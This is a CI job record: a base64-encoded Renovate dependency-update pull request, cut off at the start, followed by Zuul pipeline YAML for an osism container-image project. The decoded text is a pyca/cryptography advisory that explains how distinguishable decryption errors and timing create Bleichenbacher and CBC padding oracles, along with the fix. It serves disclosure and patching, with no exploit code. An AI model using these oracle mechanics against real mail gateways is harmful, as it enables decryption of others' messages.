WxvbmUgeWllbGRzIGEgQ0JDIHBhZGRpbmcgb3JhY2xlIHRoYXQgcmVjb3ZlcnMgcGxhaW50ZXh0IGF0CnJvdWdobHkgMjU2IHF1ZXJpZXMgcGVyIGJ5dGUsIHdpdGhvdXQgcmVjb3ZlcmluZyBhbnkga2V5LCBvbiBldmVyeSBiYWNrZW5kLiBUaGlzCmlzIGEgcHJvcGVydHkgb2YgUEtDUyM3IHJhdGhlciB0aGFuIG9mIHRoaXMgaW1wbGVtZW50YXRpb24sIGNhbm5vdCBiZSBmaXhlZCBpbgp0aGUgbGlicmFyeSwgYW5kIGlzIG5vdyBkb2N1bWVudGVkLgoKIyMjIyMgQ3JlZGl0CgpSZXBvcnRlZCBieSBAJiM4MjAzO1gxQU94aWFuZy4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA4LjIgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzo0LjAvQVY6Ti9BQzpIL0FUOlAvUFI6Ti9VSTpOL1ZDOkgvVkk6Ti9WQTpOL1NDOk4vU0k6Ti9TQTpOYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtZzZjai1wcjY0LTM1dzVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtZzZjai1wcjY0LTM1dzUpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE1MzY5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNTM2OSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC81M2ZjY2Q5MzQxM2E4ZDdmMDdkNmQ4OTk5NjgxZjI3Yjc1Y2ZmYTNmXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzUzZmNjZDkzNDEzYThkN2YwN2Q2ZDg5OTk2ODFmMjdiNzVjZmZhM2YpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IFtPU1ZdKGh0dHBzOi8vb3N2LmRldi92dWxuZXJhYmlsaXR5L0dIU0EtZzZjai1wcjY0LTM1dzUpIGFuZCB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgY3J5cHRvZ3JhcGh5OiBQS0NTIzcgRW52ZWxvcGVkRGF0YSBkZWNyeXB0aW9uIGV4cG9zZXMgYSBCbGVpY2hlbmJhY2hlciBvcmFjbGUgdGhyb3VnaCBkaXN0aW5ndWlzaGFibGUgZXJyb3JzIGFuZCB0aW1pbmcKW0NWRS0yMDI2LTY5MjQ3XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0NykgLyBbR0hTQS1nNmNqLXByNjQtMzV3NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1nNmNqLXByNjQtMzV3NSkgLyBQWVNFQy0yMDI2LTM1NTIKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKCmBwa2NzN19kZWNyeXB0X2RlcmAsIGBwa2NzN19kZWNyeXB0X3BlbWAsIGFuZCBgcGtjczdfZGVjcnlwdF9zbWltZWAgcmVwb3J0ZWQgdGhlCm91dGNvbWUgb2YgZGVjcnlwdGluZyBhIGBSZWNpcGllbnRJbmZvYCdzIGBlbmNyeXB0ZWRLZXlgIGluIHNldmVyYWwKZGlzdGluZ3Vpc2hhYmxlIHdheXMsIG9uZSBvZiB3aGljaCBkaXNjbG9zZWQgdGhlIGV4YWN0IGxlbmd0aCByZWNvdmVyZWQgZnJvbSB0aGUKUlNBIG9wZXJhdGlvbi4gVGhlIHNhbWUgZGlzdGluY3Rpb24gd2FzIGFsc28gb2JzZXJ2YWJsZSBieSB0aW1pbmcuIEFuCmFwcGxpY2F0aW9uIHRoYXQgZGVjcnlwdHMgYXR0YWNrZXItc3VwcGxpZWQgYEVudmVsb3BlZERhdGFgIGFuZCByZWZsZWN0cyB0aGUKb3V0Y29tZSBnaXZlcyB0aGUgYXR0YWNrZXIgYSBCbGVpY2hlbmJhY2hlciBvcmFjbGUgYWdhaW5zdCB0aGUKY29udGVudC1lbmNyeXB0aW9uIGtleS4KCkludHJvZHVjZWQgaW4gNDQuMC4wLiBGaXhlZCBpbiA1MC4wLjAuCgojIyMjIyBEZXRhaWxzCgpEZWNyeXB0aW9uIHJhbiBhczogUlNBIFBLQ1MjMSB2MS41IGRlY3J5cHQgb2YgYGVuY3J5cHRlZEtleWAg4oaSIGJ1aWxkIGFuIEFFUwpjaXBoZXIgZnJvbSB0aGUgcmVzdWx0IOKGkiBBRVMtQ0JDIGRlY3J5cHQgYW5kIFBLQ1MjNyB1bnBhZC4gRWFjaCBzdGFnZSBmYWlsZWQKZGlmZmVyZW50bHksIHdpdGggbm8gUkZDIDMyMTggbWl0aWdhdGlvbjoKCjEuIGludmFsaWQgUlNBIHBhZGRpbmcg4oaSIGBEZWNyeXB0aW9uIGZhaWxlZGAKMi4gdmFsaWQgcGFkZGluZywgYmFkIGtleSBsZW5ndGgg4oaSIGBJbnZhbGlkIGtleSBzaXplIChOKSBmb3IgQUVTLmAsIGRpc2Nsb3NpbmcgYE5gCjMuIGNvcnJlY3QgbGVuZ3RoLCB3cm9uZyBrZXkg4oaSIGBJbnZhbGlkIHBhZGRpbmcgYnl0ZXMuYAo0LiB0aGUgcmVhbCBrZXkg4oaSIHBsYWludGV4dAoKQ2FzZSAxIGlzIHJlYWNoYWJsZSBvbmx5IHdoZXJlIHRoZSBsaW5rZWQgbGlicmFyeSBsYWNrcyBpbXBsaWNpdCByZWplY3Rpb246Ck9wZW5TU0wgMy4wIGFuZCAzLjEsIExpYnJlU1NMLCBhbmQgQm9yaW5nU1NMLiBPbiBPcGVuU1NMIDMuMissIHVzZWQgaW4gb3VyIHdoZWVscywKaW52YWxpZCBwYWRkaW5nIGluc3RlYWQgcmV0dXJucyBhIHN5bnRoZXRpYyBwbGFpbnRleHQgb2YKcHNldWRvcmFuZG9tIGxlbmd0aCwgc28gdGhlIGVycm9yIGNoYW5uZWwgZG9lcyBub3QgZGlzdGluZ3Vpc2ggY29uZm9ybWluZwpjaXBoZXJ0ZXh0cy4KCkV4cGxvaXRhdGlvbiByZXF1aXJlcyBhIHNlcnZpY2UgdGhhdCBhdXRvLWRlY3J5cHRzIHVudHJ1c3RlZCBgRW52ZWxvcGVkRGF0YWAKbWF0Y2hpbmcgdGhlIHZpY3RpbSBjZXJ0aWZpY2F0ZSBhbmQgYW5zd2VycyBhZGFwdGl2ZWx5IGF0IGhpZ2ggdm9sdW1lLCBzdWNoIGFzCmFuIFMvTUlNRSBnYXRld2F5IG9yIG1haWwgZmlsdGVyLgoKIyMjIyMgRml4CgpQZXIgUkZDIDMyMTgsIHRoZSBjb250ZW50LWVuY3J5cHRpb24gYWxnb3JpdGhtIGlzIG5vdyByZXNvbHZlZCBiZWZvcmUgdGhlCnByaXZhdGUga2V5IGlzIHVzZWQsIHNvIHRoZSBleHBlY3RlZCBrZXkgbGVuZ3RoIGlzIGtub3duIGluIGFkdmFuY2UuIElmIHRoZSBSU0EKZGVjcnlwdGlvbiBmYWlscyBvciByZWNvdmVycyBhIGtleSBvZiB0aGUgd3JvbmcgbGVuZ3RoLCBhIHJhbmRvbSBrZXkgb2YgdGhlCmV4cGVjdGVkIGxlbmd0aCBpcyBzdWJzdGl0dXRlZCBhbmQgZGVjcnlwdGlvbiBjb250aW51ZXMgZG93biBhbiBpZGVudGljYWwgcGF0aC4KQWxsIGZhaWx1cmVzIG5vdyByZXBvcnQgaWRlbnRpY2FsbHkgYW5kIHBlcmZvcm0gdGhlIHNhbWUgd29yay4KCiMjIyMjIE5vdCBhZGRyZXNzZWQgYnkgdGhpcyBmaXgKCmBFbnZlbG9wZWREYXRhYCBkb2VzIG5vdCBhdXRoZW50aWNhdGUgaXRzIGNvbnRlbnQuIFRhbXBlcmluZyB3aXRoCmBlbmNyeXB0ZWRDb250ZW50YCBhbG9uZSB5aWVsZHMgYSBDQkMgcGFkZGluZyBvcmFjbGUgdGhhdCByZWNvdmVycyBwbGFpbnRleHQgYXQKcm91Z2hseSAyNTYgcXVlcmllcyBwZXIgYnl0ZSwgd2l0aG91dCByZWNvdmVyaW5nIGFueSBrZXksIG9uIGV2ZXJ5IGJhY2tlbmQuIFRoaXMKaXMgYSBwcm9wZXJ0eSBvZiBQS0NTIzcgcmF0aGVyIHRoYW4gb2YgdGhpcyBpbXBsZW1lbnRhdGlvbiwgY2Fubm90IGJlIGZpeGVkIGluCnRoZSBsaWJyYXJ5LCBhbmQgaXMgbm93IGRvY3VtZW50ZWQuCgojIyMjIyBDcmVkaXQKClJlcG9ydGVkIGJ5IEAmIzgyMDM7WDFBT3hpYW5nLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguMiAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjQuMC9BVjpOL0FDOkgvQVQ6UC9QUjpOL1VJOk4vVkM6SC9WSTpOL1ZBOk4vU0M6Ti9TSTpOL1NBOk5gCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1nNmNqLXByNjQtMzV3NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1nNmNqLXByNjQtMzV3NSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTUzNjldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE1MzY5KQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzUzZmNjZDkzNDEzYThkN2YwN2Q2ZDg5OTk2ODFmMjdiNzVjZmZhM2ZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNTNmY2NkOTM0MTNhOGQ3ZjA3ZDZkODk5OTY4MWYyN2I3NWNmZmEzZikKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkpCi0gW2h0dHBzOi8vcHlwaS5vcmcvcHJvamVjdC9jcnlwdG9ncmFwaHldKGh0dHBzOi8vcHlwaS5vcmcvcHJvamVjdC9jcnlwdG9ncmFwaHkpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtZzZjai1wcjY0LTM1dzVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtZzZjai1wcjY0LTM1dzUpCi0gW2h0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDI2LTY5MjQ3XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0NykKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9QWVNFQy0yMDI2LTM1NTIpIGFuZCB0aGUgW1B5UEkgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weXBhL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5cGEvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgUmVsZWFzZSBOb3RlcwoKPGRldGFpbHM+CjxzdW1tYXJ5PnB5Y2EvY3J5cHRvZ3JhcGh5IChjcnlwdG9ncmFwaHkpPC9zdW1tYXJ5PgoKIyMjIFtgdjUwLjAuMGBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21wYXJlLzQ5LjAuMC4uLjUwLjAuMCkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbXBhcmUvNDkuMC4wLi4uNTAuMC4wKQoKIyMjIFtgdjQ5LjAuMGBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21wYXJlLzQ4LjAuMS4uLjQ5LjAuMCkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbXBhcmUvNDguMC4xLi4uNDkuMC4wKQoKPC9kZXRhaWxzPgoKLS0tCgojIyMgQ29uZmlndXJhdGlvbgoK8J+ThSAqKlNjaGVkdWxlKio6IChVVEMpCgotIEJyYW5jaCBjcmVhdGlvbgogIC0gQXQgYW55IHRpbWUgKG5vIHNjaGVkdWxlIGRlZmluZWQpCi0gQXV0b21lcmdlCiAgLSBBdCBhbnkgdGltZSAobm8gc2NoZWR1bGUgZGVmaW5lZCkKCvCfmqYgKipBdXRvbWVyZ2UqKjogRGlzYWJsZWQgYnkgY29uZmlnLiBQbGVhc2UgbWVyZ2UgdGhpcyBtYW51YWxseSBvbmNlIHlvdSBhcmUgc2F0aXNmaWVkLgoK4pm7ICoqUmViYXNpbmcqKjogV2hlbmV2ZXIgUFIgYmVjb21lcyBjb25mbGljdGVkLCBvciB5b3UgdGljayB0aGUgcmViYXNlL3JldHJ5IGNoZWNrYm94LgoK8J+UlSAqKklnbm9yZSoqOiBDbG9zZSB0aGlzIFBSIGFuZCB5b3Ugd29uJ3QgYmUgcmVtaW5kZWQgYWJvdXQgdGhpcyB1cGRhdGUgYWdhaW4uCgotLS0KCiAtIFsgXSA8IS0tIHJlYmFzZS1jaGVjayAtLT5JZiB5b3Ugd2FudCB0byByZWJhc2UvcmV0cnkgdGhpcyBQUiwgY2hlY2sgdGhpcyBib3gKCi0tLQoKVGhpcyBQUiB3YXMgZ2VuZXJhdGVkIGJ5IFtNZW5kIFJlbm92YXRlXShodHRwczovL21lbmQuaW8vcmVub3ZhdGUvKS4gVmlldyB0aGUgW3JlcG9zaXRvcnkgam9iIGxvZ10oaHR0cHM6Ly9kZXZlbG9wZXIubWVuZC5pby9naXRodWIvb3Npc20vY29udGFpbmVyLWltYWdlLW9zaXNtLWFuc2libGUpLgo8IS0tcmVub3ZhdGUtZGVidWc6ZXlKamNtVmhkR1ZrU1c1V1pYSWlPaUkwTkM0ekxqSWlMQ0oxY0dSaGRHVmtTVzVXWlhJaU9pSTBOQzR4TVM0MElpd2lkR0Z5WjJWMFFuSmhibU5vSWpvaWJXRnBiaUlzSW14aFltVnNjeUk2V3lKeVpXNXZkbUYwWlNKZGZRPT0tLT4K
      patchset: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: b7c70f39598a39998dbbc6f833779355630f3a39
          untrusted/project_0/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: b7c70f39598a39998dbbc6f833779355630f3a39
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
        playbooks:
        - path: untrusted/project_0/github.com/osism/zuul-jobs/playbooks/yamllint/run.yaml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_0/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_0/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_1/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_1/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: playbook branch
            link_name: ansible/playbook_0/role_2/zuul-jobs
            link_target: untrusted/project_0/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_2/zuul-jobs/roles
      post_review: false
      post_timeout: 1800
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/container-image-osism-ansible
        name: osism/container-image-osism-ansible
        short_name: container-image-osism-ansible
        src_dir: src/github.com/osism/container-image-osism-ansible
      projects:
        github.com/osism/container-image-osism-ansible:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-osism-ansible
          checkout: main
          checkout_description: zuul branch
          commit: 8f40318a7aed34540888fdaa99a01a2bd683ceba
          name: osism/container-image-osism-ansible
          required: false
          short_name: container-image-osism-ansible
          src_dir: src/github.com/osism/container-image-osism-ansible
      ref: refs/pull/767/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
